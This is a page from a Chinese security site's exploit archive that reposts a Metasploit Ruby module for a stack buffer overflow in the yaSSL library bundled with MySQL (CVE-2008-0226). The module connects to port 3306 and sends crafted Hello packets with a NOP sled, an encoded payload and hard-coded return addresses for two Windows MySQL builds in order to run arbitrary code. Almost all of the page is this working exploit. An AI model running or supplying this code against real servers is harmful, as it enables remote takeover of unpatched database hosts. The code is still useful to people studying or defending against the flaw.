首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
MySQL yaSSL SSL Hello Message Buffer Overflow (meta)
来源:http://www.metasploit.com 作者:MC 发布时间:2010-01-28  
##
# $Id: mysql_yassl_hello.rb 8242 2010-01-26 20:12:13Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to 
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote
	Rank = AverageRanking

	include Msf::Exploit::Remote::Tcp

	def initialize(info = {})
		super(update_info(info,	
			'Name'           => 'MySQL yaSSL SSL Hello Message Buffer Overflow',
			'Description'    => %q{
					This module exploits a stack overflow in the yaSSL (1.7.5 and earlier)
					implementation bundled with MySQL <= 6.0. By sending a specially crafted
					Hello packet, an attacker may be able to execute arbitrary code.
			},
			'Author'         => [ 'MC' ],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision: 8242 
, 'References' => [ [ 'CVE', '2008-0226' ], [ 'OSVDB', '41195'], [ 'BID', '27140' ], ], 'Privileged' => true, 'DefaultOptions' => { 'EXITFUNC' => 'thread', }, 'Payload' => { 'Space' => 600, 'BadChars' => "\x00\x20\x0a\x0d\x2f\x2b\x0b\x5c", 'StackAdjustment' => -3500, 'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff", }, 'Platform' => 'win', 'Targets' => [ [ 'MySQL 5.0.45-community-nt', { 'Ret' => 0x008b9d45 } ], [ 'MySQL 5.1.22-rc-community', { 'Ret' => 0x008b04c9 } ], ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Jan 4 2008')) register_options([ Opt::RPORT(3306) ], self) end def exploit connect sock.get_once req_uno = [0x01000020].pack('V') req_dos = [0x00008daa].pack('V') + [0x40000000].pack('V') req_dos << [0x00000008].pack('V') + [0x00000000].pack('V') req_dos << [0x00000000].pack('V') + [0x00000000].pack('V') req_dos << [0x00000000].pack('V') + [0x00000000].pack('V') req_dos << [0x03010000].pack('V') + [0x00000001].pack('V') req_dos << "\x00\x0F\xFF" + rand_text_alphanumeric(3917 - payload.encoded.length) req_dos << make_nops(100) + payload.encoded + [target.ret].pack('V') req_dos << make_nops(16) + [0xe8, -650].pack('CV') + rand_text_alphanumeric(1024) print_status("Trying target #{target.name}...") sock.put(req_uno) sock.put(req_dos) handler disconnect end end
 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Mod_proxy from apache 1.3 - In
·CamShot v1.2 SEH Overwrite Exp
·Apple Iphone/Ipod - Serversman
·Internet Explorer 6/7 - Local
·MySQL yassl cert parsing stack
·Winamp 5.572 Exploit - SEH
·Rising AntiVirus 2008/2009/201
·KOL WaveIOX 1.04 (.wav) Local
·Lalim Compact Player (.mp3) Lo
·South River Technologies WebDr
·Wireshark 1.2.5 LWRES getaddrb
·AIC Audio Player 1.4.1.587 Loc
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved